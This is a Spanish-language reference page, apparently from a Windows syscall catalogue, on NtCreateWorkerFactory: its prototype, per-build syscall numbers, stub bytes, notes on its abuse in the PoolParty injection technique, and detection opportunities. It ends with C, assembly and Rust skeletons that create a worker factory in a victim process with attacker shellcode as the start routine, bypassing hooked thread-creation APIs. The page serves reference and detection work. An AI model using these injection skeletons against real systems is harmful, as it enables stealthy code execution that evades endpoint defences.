NtCreateWorkerFactory
Crea un objeto worker factory del kernel — la primitiva de threadpool que la inyección PoolParty abusa para ejecutar shellcode sin NtCreateThreadEx.
Prototipo
NTSTATUS NtCreateWorkerFactory( PHANDLE WorkerFactoryHandleReturn, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, HANDLE CompletionPortHandle, HANDLE WorkerProcessHandle, PVOID StartRoutine, PVOID StartParameter, ULONG MaxThreadCount, SIZE_T StackReserve, SIZE_T StackCommit );
Argumentos
| Name | Type | Dir | Description |
|---|---|---|---|
| WorkerFactoryHandleReturn | PHANDLE | out | Recibe el nuevo handle de worker factory en caso de éxito. |
| DesiredAccess | ACCESS_MASK | in | Máscara de acceso solicitada — WORKER_FACTORY_ALL_ACCESS (0xF00FF) para control total. |
| ObjectAttributes | POBJECT_ATTRIBUTES | in | OBJECT_ATTRIBUTES opcional, normalmente NULL — las worker factories rara vez se nombran. |
| CompletionPortHandle | HANDLE | in | Handle a un puerto de finalización de E/S (NtCreateIoCompletion) que entrega trabajo a los hilos de la factory. |
| WorkerProcessHandle | HANDLE | in | Proceso en el que se ejecutarán los hilos de trabajo. NtCurrentProcess() para sí mismo; un handle remoto es el vector de inyección PoolParty. |
| StartRoutine | PVOID | in | Dirección del punto de entrada del hilo de trabajo — típicamente ntdll!TppWorkerThread para threadpools legítimos, controlada por el atacante en PoolParty. |
| StartParameter | PVOID | in | Parámetro único pasado a StartRoutine en cada nuevo hilo de trabajo. |
| MaxThreadCount | ULONG | in | Número máximo de hilos de trabajo que la factory puede generar simultáneamente. |
| StackReserve | SIZE_T | in | Reserva de pila en bytes para cada hilo de trabajo. 0 usa el predeterminado de la imagen. |
| StackCommit | SIZE_T | in | Pila inicialmente comprometida para cada hilo de trabajo. |
IDs de syscalls por versión de Windows
| Versión de Windows | ID de syscall | Build |
|---|---|---|
| Win10 1507 | 0xBE | win10-1507 |
| Win10 1607 | 0xC1 | win10-1607 |
| Win10 1703 | 0xC4 | win10-1703 |
| Win10 1709 | 0xC5 | win10-1709 |
| Win10 1803 | 0xC6 | win10-1803 |
| Win10 1809 | 0xC7 | win10-1809 |
| Win10 1903 | 0xC8 | win10-1903 |
| Win10 1909 | 0xC8 | win10-1909 |
| Win10 2004 | 0xCC | win10-2004 |
| Win10 20H2 | 0xCC | win10-20h2 |
| Win10 21H1 | 0xCC | win10-21h1 |
| Win10 21H2 | 0xCD | win10-21h2 |
| Win10 22H2 | 0xCD | win10-22h2 |
| Win11 21H2 | 0xD2 | win11-21h2 |
| Win11 22H2 | 0xD3 | win11-22h2 |
| Win11 23H2 | 0xD3 | win11-23h2 |
| Win11 24H2 | 0xD5 | win11-24h2 |
| Server 2016 | 0xC1 | winserver-2016 |
| Server 2019 | 0xC7 | winserver-2019 |
| Server 2022 | 0xD1 | winserver-2022 |
| Server 2025 | 0xD5 | winserver-2025 |
Módulo del kernel
APIs relacionadas
Stub del syscall
4C 8B D1 mov r10, rcx B8 D5 00 00 00 mov eax, 0xD5 F6 04 25 08 03 FE 7F 01 test byte ptr [0x7FFE0308], 1 75 03 jne short +3 0F 05 syscall C3 ret CD 2E int 2Eh C3 ret
Notas no documentadas
NtCreateWorkerFactory es la mitad del kernel del threadpool de Windows en modo usuario: cada `CreateThreadpool`, `CreateThreadpoolWork`, `SubmitThreadpoolWork` en kernel32 / ntdll termina conduciendo un objeto `WorkerFactory` vía este syscall. La factory enlaza un puerto de finalización de E/S (origen de los elementos de trabajo), un proceso objetivo para los hilos y una `StartRoutine` invocada al activar los hilos. Para código legítimo esa StartRoutine es `ntdll!TppWorkerThread`, que luego itera en `NtWaitForWorkViaWorkerFactory`. El diseño no documentado — un único syscall que crea hilos en un proceso arbitrario con punto de entrada arbitrario — lo convierte en una primitiva de inyección poderosa, y el número de syscall cambia casi en cada feature release.
Uso común por malware
Es la base de la familia de inyección PoolParty divulgada por Alon Leviev (SafeBreach) en Black Hat Europe 2023. Variante canónica: abrir un handle a un proceso remoto, crear un puerto de finalización de E/S y una worker factory en ese proceso con `StartRoutine` apuntando al shellcode del atacante en el espacio remoto, y luego postear trabajo para despertar hilos. Resultado: ejecución de código en el objetivo *sin invocar nunca* `NtCreateThreadEx`, `NtQueueApcThread`, `NtSetContextThread`, `CreateRemoteThread`, `RtlCreateUserThread`, `NtMapViewOfSection` ni ninguna de las siete u ocho primitivas de creación de hilo que casi todos los EDR hookean. Ocho variantes distintas de PoolParty acaban todas aquí.
Oportunidades de detección
La creación de worker factory que cruza fronteras de proceso es la señal de mayor fidelidad. Un `NtCreateWorkerFactory` inter-proceso (donde `WorkerProcessHandle` no se refiere al proceso llamador) es esencialmente inédito fuera del herramental ofensivo. ETW ofrece cobertura limitada — el proveedor Microsoft-Windows-Threading emite algunos eventos de worker factory pero no el syscall en sí; el proveedor Threat-Intelligence no cubre esta primitiva actualmente. Detección práctica: inspección por callback de kernel del `ProcessHandle` del objeto `WorkerFactory` contra el EPROCESS creador, o hooking en modo usuario de ntdll!NtCreateWorkerFactory (que los syscalls directos eluden — momento en el que se necesita el enfoque del kernel). El escaneo VAD del proceso objetivo en busca de regiones RX sin imagen seguido de una worker factory referenciando esa región es la caza post-incidente más limpia.
Ejemplos de syscalls directos
cPoolParty Variant 1 — remote worker factory
// PoolParty 'Worker Factory Start Routine Overwrite' skeleton.
// Assumes hProc opened with PROCESS_ALL_ACCESS, shellcode already written
// to pRemoteShellcode (RX) in the victim.
HANDLE hIoCompletion = NULL;
IO_STATUS_BLOCK iosb;
OBJECT_ATTRIBUTES oa; InitializeObjectAttributes(&oa, NULL, 0, NULL, NULL);
// 1. Create an I/O completion port in *our* process — the kernel just needs a handle.
NtCreateIoCompletion(&hIoCompletion, IO_COMPLETION_ALL_ACCESS, &oa, 0);
// 2. Duplicate it into the victim so the worker factory there can consume it.
HANDLE hRemoteIoCompletion = NULL;
NtDuplicateObject(NtCurrentProcess(), hIoCompletion, hProc, &hRemoteIoCompletion,
0, 0, DUPLICATE_SAME_ACCESS);
// 3. Create the worker factory in the victim. StartRoutine = shellcode.
HANDLE hWorkerFactory = NULL;
NtCreateWorkerFactory(&hWorkerFactory,
WORKER_FACTORY_ALL_ACCESS, NULL,
hRemoteIoCompletion,
hProc, // <-- victim process
pRemoteShellcode, // <-- attacker payload
NULL, // StartParameter
1, 0x100000, 0x10000);
// 4. Post a single work item — wakes one worker thread, which jumps to shellcode.
NtSetIoCompletion(hIoCompletion, NULL, NULL, STATUS_SUCCESS, 1);asmx64 direct stub (Win11 24H2 SSN 0xD5)
; NtCreateWorkerFactory direct syscall — SSN drifts per build, resolve dynamically in production.
NtCreateWorkerFactory PROC
mov r10, rcx
mov eax, 0D5h ; Win11 24H2 / Server 2025
syscall
ret
NtCreateWorkerFactory ENDPrustwindows-sys cross-process invocation
// Cargo: windows-sys = "0.59" ; ntapi = "0.4" for the prototype.
// Demonstrates the cross-process flag — flagged by Sysmon EID 10 on the OpenProcess.
use ntapi::ntpsapi::NtCurrentProcess;
use ntapi::ntexapi::NtCreateWorkerFactory;
use windows_sys::Win32::Foundation::HANDLE;
unsafe fn spawn_remote_worker(
victim: HANDLE,
remote_iocp: HANDLE,
remote_payload: *mut core::ffi::c_void,
) -> HANDLE {
let mut wf: HANDLE = 0;
let status = NtCreateWorkerFactory(
&mut wf as *mut _ as *mut _,
0x000F00FF, // WORKER_FACTORY_ALL_ACCESS
core::ptr::null_mut(),
remote_iocp,
victim,
remote_payload,
core::ptr::null_mut(),
1,
0x100000,
0x10000,
);
assert_eq!(status, 0, "NtCreateWorkerFactory failed: {status:#x}");
wf
}Mapeos MITRE ATT&CK
Last verified: 2026-05-20